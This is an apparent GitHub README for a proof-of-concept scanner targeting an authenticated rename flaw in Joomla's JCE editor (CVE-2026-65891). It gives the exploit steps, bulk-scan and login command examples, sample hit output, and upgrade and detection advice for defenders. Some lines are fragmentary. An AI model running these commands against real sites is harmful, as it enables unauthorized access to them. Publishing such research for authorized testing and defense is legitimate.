
CVE-2026-65891 PoC — Joomla Content Editor file rename vulnerability (auth required, fixed in JCE 2.20.2)
针对 Joomla Content Editor (JCE) 扩展中 CVE-2026-65891 的概念验证扫描器。
JCE 文件管理器 rename 函数中的不当输入验证,允许具有文件管理权限的已认证用户:
.shell.php)仅限授权测试。 仅可在您拥有或获得明确测试许可的系统上使用。
| Field | Value |
|---|---|
| CVE | CVE-2026-65891 |
| 产品 | JCE (com_jce) — Widget Factory Limited |
| 受影响版本 | JCE < 2.20.2(至 2.20.1 / 2.9.99.9) |
| 已修复版本 | JCE 2.20.2+(2026-07-29) |
| CVSS 3.1 | 6.5 中危 |
| CWE | CWE-20 — 输入验证不当 |
| 认证 | 必需 — JCE 上传及重命名权限 |
| KEV | 否 |
这不是未认证 RCE。请勿与 CVE-2026-48907(JCE 配置文件导入,未认证)混淆。
JCE browser / imgmanager 重命名处理程序接受了本应被拒绝的目标文件名:
. 开头的名称(在 POSIX 上为隐藏文件)在 2.20.2 中修复:对重命名/复制/移动操作进行扩展名校验,并禁止静默覆盖。
check(无需凭据)jce.xml / 资源中读取 JCE 版本probe / exploit(需要凭据)/administrator/(或 --frontend-login)登录plugin.rpc(browser 插件)上传一个标记 .txt 文件.cve65891_<random>.txt(隐藏)GET /images/.cve65891_*.txt — 若标记可读取 → EXPLOITEDgit clone https://github.com/YOUR_USER/CVE-2026-65891.git
cd CVE-2026-65891
pip install -r requirements.txt
要求: Python 3.10+
# Version / fingerprint scan (bulk, no auth)
python poc_cve_2026_65891.py -f targets.txt -m check -j 30 -o version_hits.txt
# Single target — full check
python poc_cve_2026_65891.py -u https://joomla.example -m check -v
# Authenticated rename test
python poc_cve_2026_65891.py -u https://joomla.example -m probe \
--user editor --pass 'YourPassword' -v
# Session cookie instead of password
python poc_cve_2026_65891.py -u https://joomla.example -m probe \
--cookie-file cookie.txt -v
EXPLOITED https://joomla.example joomla=True jce=True ver=2.20.1 auth=YES upload=YES rename=YES hidden=YES url=https://joomla.example/images/.cve65891_a1b2c3d4.txt
VULNERABLE https://site.example joomla=True jce=True ver=2.9.99.9 rename=YES err=rename_ok_but_hidden_not_readable
SUSPECT https://old.example joomla=True jce=True ver=2.20.1 err=need_auth_--user_--pass_or_--cookie-file
只有 VULNERABLE 和 EXPLOITED 行会写入 -o。
测试账户必须具有包含以下权限的 JCE 编辑器配置文件:
通常为:编辑(Editor)、管理员(Manager)或超级管理员(Administrator)— 而非普通注册用户。
将 JCE 升级至 2.20.2 或更高版本
通过 Extensions → Manage → Update 或从 joomlacontenteditor.net 下载
在修复之前:为不受信任的用户组(图片管理器、文件浏览器)在 JCE 配置文件设置中禁用 Rename。
查找发送至以下地址的已认证请求:
POST /index.php?option=com_jce&task=plugin.rpc&plugin=browser
其中 method=rename / renameItem 且目标名称以 . 开头。
在 JCE 上传路径(/images/、/media/)下出现意外的隐藏文件。
此工具仅用于安全研究、教育和授权渗透测试。未经授权访问计算机系统属违法行为。作者对滥用行为不承担任何责任。
MIT — 请参阅 LICENSE。
| Flag | Description |
|---|
-u, --url | 单个 Joomla 基础 URL |
-f, --file | 目标列表(每行一个 URL) |
-m, --mode | check · probe · exploit · full(默认:full) |
-j, --threads | 并行线程数(默认:15) |
-t, --timeout | HTTP 超时秒数(默认:25) |
-o, --output | 仅写入 VULNERABLE / EXPLOITED 命中结果 |
--user | Joomla 用户名 |
--pass | Joomla 密码 |
--cookie-file | 原始 Cookie: 头文件(跳过登录) |
--upload-dir | JCE 上传目录(默认:images) |
--frontend-login | 通过前端而非管理员后台登录 |
-v, --verbose | 调试输出 |
| Mode | Auth | Description |
|---|
check | 否 | Joomla + JCE + 版本 |
probe | 是 | 上传 + 隐藏重命名 + 验证 |
exploit | 是 | 与 probe 相同 |
full | 是* | 先 check 后 probe(*probe 需要认证) |